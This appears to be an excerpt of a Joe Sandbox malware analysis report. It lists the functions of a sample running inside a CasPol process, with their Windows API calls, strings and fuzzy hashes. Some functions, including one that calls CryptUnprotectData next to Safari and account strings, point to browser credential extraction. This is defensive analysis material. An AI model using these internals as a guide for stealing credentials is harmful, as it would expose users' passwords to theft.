                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID:
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID:
                                                                                                                                                                  • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                                                                  • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                                                                                                                                                                  • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                                                                                                                                                                  • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                                                                                                                                                                  Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004095FC
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                    • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                                                                                                                                                                    • Part of subcall function 004091B8: memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                                                                                                    • Part of subcall function 004091B8: memcmp.MSVCRT ref: 004092D9
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3655998216-0
                                                                                                                                                                  • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                                                                  • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                                                                                                                                                                  • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                                                                                                                                                                  • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                                                                                                                                                                  Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00445426
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                                                                    • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                                                                    • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                                                                    • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                                                                                                                                                                    • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                                                                                                                                                                    • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                                                                                                                                                                    • Part of subcall function 0040B6EF: CreateFileW.KERNELBASE(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B80C
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1828521557-0
                                                                                                                                                                  • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                                                                  • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                                                                                                                                                                  • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                                                                                                                                                                  • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                                                                                                                                                                  Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                    • Part of subcall function 004062A6: SetFilePointerEx.KERNELBASE(0040627C,?,?,00000000,00000000), ref: 004062C2
                                                                                                                                                                  • memcpy.MSVCRT(00000000,00000000,?,00000000,00000000,?,00000000,0040627C), ref: 00406942
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@FilePointermemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 609303285-0
                                                                                                                                                                  • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                                                                  • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                                                                                                                                                                  • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                                                                                                                                                                  • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                                                                                                                                                                  Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2081463915-0
                                                                                                                                                                  • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                                                                  • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                                                                                                                                                                  • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                                                                                                                                                                  • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                                                                                                                                                                  Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF), ref: 0040629C
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                                                                                                                                                                    • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: File$CloseCreateErrorHandleLastRead
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2136311172-0
                                                                                                                                                                  • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                                                                  • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                                                                                                                                                                  • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                                                                                                                                                                  • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                                                                                                                                                                  Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT(00000000,00401B44,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040B052
                                                                                                                                                                  • ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@??3@
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1936579350-0
                                                                                                                                                                  • Opcode ID: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                                                                  • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                                                                                                                                                                  • Opcode Fuzzy Hash: d9146978952df4032bb52ee1fc914549b8afd9994305f4c2f79ca13836f6df5d
                                                                                                                                                                  • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8
                                                                                                                                                                  Function 0040B633 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                  • Opcode ID: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                                                                  • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                                                                                                                                                                  • Opcode Fuzzy Hash: 064fc9ad2ab7598503b0803575f79bda8c80cd2f5cc7d751fc92f1905ed38621
                                                                                                                                                                  • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                                                                                                                                                                  Function 0040AA04 Relevance: 1.3, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: free
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1294909896-0
                                                                                                                                                                  • Opcode ID: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                                                                  • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                                                                                                                                                                  • Opcode Fuzzy Hash: 724fdfa704f09a621e121349248af22099a797a76fc60927f41904971c9b5f98
                                                                                                                                                                  • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18

                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                  Function 004098E2 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • EmptyClipboard.USER32 ref: 004098EC
                                                                                                                                                                    • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000), ref: 004096D5
                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000), ref: 00409909
                                                                                                                                                                  • GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040991A
                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 00409927
                                                                                                                                                                  • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040993A
                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 0040994C
                                                                                                                                                                  • SetClipboardData.USER32(0000000D,00000000), ref: 00409955
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0040995D
                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 00409969
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00409974
                                                                                                                                                                  • CloseClipboard.USER32 ref: 0040997D
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 3604893535-0
                                                                                                                                                                  • Opcode ID: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                                                                                                                                                                  • Instruction ID: b216396755dc4e0bfb1664a9ae46c4c33dbc75b884417c11e98c88a04b476fe2
                                                                                                                                                                  • Opcode Fuzzy Hash: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                                                                                                                                                                  • Instruction Fuzzy Hash: 3D113D7A540204BBE7105FA6DC4CA9E7B78FB06356F10457AF902E22A1DB748901CB69
                                                                                                                                                                  Function 0040987A Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • EmptyClipboard.USER32 ref: 00409882
                                                                                                                                                                  • wcslen.MSVCRT ref: 0040988F
                                                                                                                                                                  • GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,00411A1E,-00000210), ref: 0040989F
                                                                                                                                                                  • GlobalLock.KERNEL32(00000000), ref: 004098AC
                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,00000002,?,?,?,00411A1E,-00000210), ref: 004098B5
                                                                                                                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 004098BE
                                                                                                                                                                  • SetClipboardData.USER32(0000000D,00000000), ref: 004098C7
                                                                                                                                                                  • CloseClipboard.USER32 ref: 004098D7
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpywcslen
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1213725291-0
                                                                                                                                                                  • Opcode ID: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                                                                                                                                                                  • Instruction ID: b754b6ca90195c8d8a6f67e3e00c953256c5cf8724ac1a445a604cc17dd28da6
                                                                                                                                                                  • Opcode Fuzzy Hash: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                                                                                                                                                                  • Instruction Fuzzy Hash: 4AF0967B1402246BD2112FA6AC4DD2B772CFB86B56B05013AF90592251DA3448004779
                                                                                                                                                                  Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetLastError.KERNEL32 ref: 004182D7
                                                                                                                                                                    • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                  • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                                                                                                                                                                  • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                                                                                                                                                                  • LocalFree.KERNEL32(?), ref: 00418342
                                                                                                                                                                  • free.MSVCRT ref: 00418370
                                                                                                                                                                    • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                                                                                                                                                                    • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
                                                                                                                                                                  • String ID: OsError 0x%x (%u)
                                                                                                                                                                  • API String ID: 2360000266-2664311388
                                                                                                                                                                  • Opcode ID: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                                                                                                  • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                                                                                                                                                                  • Opcode Fuzzy Hash: 4fd697d7e384524c9f2c5a32db345d7fa765ac123a5e8bcccc5a3c31b8d6871e
                                                                                                                                                                  • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                                                                                                                                                                  Function 00401806 Relevance: 1.5, APIs: 1, Instructions: 45COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: ??2@??3@memcpymemset
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1865533344-0
                                                                                                                                                                  • Opcode ID: f3de4b73387da6c78884f7b0b81a8c47798430fc751eec9b9c4e2da2d29500ae
                                                                                                                                                                  • Instruction ID: 142cde259e2f0f6626273334703b570cf32d48e622dac596d848113b95f58250
                                                                                                                                                                  • Opcode Fuzzy Hash: f3de4b73387da6c78884f7b0b81a8c47798430fc751eec9b9c4e2da2d29500ae
                                                                                                                                                                  • Instruction Fuzzy Hash: D7113C71900209EFDF10AF95C805AAE3B71FF09325F04C16AFD15662A1C7798E21EF5A
                                                                                                                                                                  Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Version
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 1889659487-0
                                                                                                                                                                  • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                                                                  • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                                                                                                                                                                  • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                                                                                                                                                                  • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                                                                                                                                                                  Function 004018C0 Relevance: 1.5, APIs: 1, Instructions: 6nativeCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • NtdllDefWindowProc_W.NTDLL(?,?,?,?,00401B0D,?,?,?), ref: 004018D2
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: NtdllProc_Window
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 4255912815-0
                                                                                                                                                                  • Opcode ID: 3de349333402391b5f3bd83c09a178b3b388cc2d8cda5cc5e9d51b86f8a07b54
                                                                                                                                                                  • Instruction ID: 27e4c09127093a565ccbabfb03fa630377511b1425115cef73ae3fc8c8acf6c4
                                                                                                                                                                  • Opcode Fuzzy Hash: 3de349333402391b5f3bd83c09a178b3b388cc2d8cda5cc5e9d51b86f8a07b54
                                                                                                                                                                  • Instruction Fuzzy Hash: BEC0483A108200FFCA024B81DD08D0ABFA2BB98320F00C868B2AC0403187338022EB02
                                                                                                                                                                  Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 004022A6
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 004022D7
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00402305
                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00402333
                                                                                                                                                                    • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                                                                    • Part of subcall function 0040AA29: memcpy.MSVCRT(?,?,00000000,00000001,00401B3C,0044E518,?,00000001,00401B95,?,00401EE4), ref: 0040AA5B
                                                                                                                                                                  • memset.MSVCRT ref: 0040265F
                                                                                                                                                                  • memcpy.MSVCRT(?,?,00000011), ref: 0040269B
                                                                                                                                                                    • Part of subcall function 00404423: GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                    • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                    • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                  • memcpy.MSVCRT(?,?,0000001C,?,?,00000000,?), ref: 004026FF
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmp$Freememcpy$Library$AddressCryptDataLocalProcUnprotectmemsetwcslen
                                                                                                                                                                  • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                                                                                                                                                                  • API String ID: 2929817778-1134094380
                                                                                                                                                                  • Opcode ID: dd22fc70d251945153f84157bbedf09d5f9a0a96f25b2184ec3973dd1390e5a3
                                                                                                                                                                  • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                                                                                                                                                                  • Opcode Fuzzy Hash: dd22fc70d251945153f84157bbedf09d5f9a0a96f25b2184ec3973dd1390e5a3
                                                                                                                                                                  • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                                                                                                                                                                  Function 0040C87B Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 285stringCOMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001E.00000002.559002672.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_30_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
                                                                                                                                                                  • String ID: :stringdata$ftp://$http://$https://
                                                                                                                                                                  • API String ID: 2787044678-1921111777
                                                                                                                                                                  • Opcode ID: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                                                                                                                                                                  • Instruction ID: 1dd8f84a331a8d1f0195812dc1f06ff326a48265e58e3ad24d859c5fcdf3acb9
                                                                                                                                                                  • Opcode Fuzzy Hash: 5cfdb451540a99f12352c14b787623eda213fcfbf47060a2a7a9031bc80669e4
                                                                                                                                                                  • Instruction Fuzzy Hash: C191C571540219AEEF10EF65DC82EEF776DEF41318F01016AF948B7181EA38ED518BA9
                                                                                                                                                                  Function 00414002 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 265COMMON
                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                  APIs
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E9), ref: 0041402F
                                                                                                                                                                  • GetDlgItem.USER32(?,000003E8), ref: 0041403B
                                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 0041404A
                                                                                                                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00414056
                                                                                                                                                                  • GetWindowLongW.USER32(00000000,000000EC), ref: 0041405F
                                                                                                                                                                  • GetWindowLongW.USER32(?,000000EC), ref: 0041406B
                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 0041407D
                                                                                                                                                                  • GetWindowRect.USER32(?,?), ref: 00414088
                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0041409C
                                                                                                                                                                  • MapWindowPoints.USER32(00000000,?,?,00000002), ref: 004140AA
                                                                                                                                                                  • GetDC.USER32 ref: 004140E3
                                                                                                                                                                  • wcslen.MSVCRT ref: 00414123
                                                                                                                                                                  • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00414134
                                                                                                                                                                  • ReleaseDC.USER32(?,?), ref: 00414181
                                                                                                                                                                  • _snwprintf.MSVCRT ref: 00414244
                                                                                                                                                                  • SetWindowTextW.USER32(?,?), ref: 00414258
                                                                                                                                                                  • SetWindowTextW.USER32(?,00000000), ref: 00414276
                                                                                                                                                                  • GetDlgItem.USER32(?,00000001), ref: 004142AC
                                                                                                                                                                  • GetWindowRect.USER32(00000000,?), ref: 004142BC
